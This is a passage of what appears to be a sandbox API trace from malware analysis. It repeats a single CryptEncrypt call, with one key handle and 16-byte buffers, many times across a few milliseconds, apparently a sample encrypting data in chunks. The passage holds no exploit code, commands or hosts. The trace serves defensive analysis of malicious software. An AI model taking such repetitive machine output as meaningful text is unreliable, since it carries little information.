| out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.340] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.341] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.342] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.343] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.343] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.343] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.343] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.343] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.343] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.343] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.343] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.343] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.343] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.343] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.344] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.344] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.344] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.344] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.344] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.344] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.344] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.344] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.344] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.344] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.344] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.344] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.344] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.344] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.345] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.345] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.345] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.345] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.345] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.345] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.345] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.345] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.345] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.345] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.345] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.345] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.345] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.345] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.345] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.345] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.345] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, 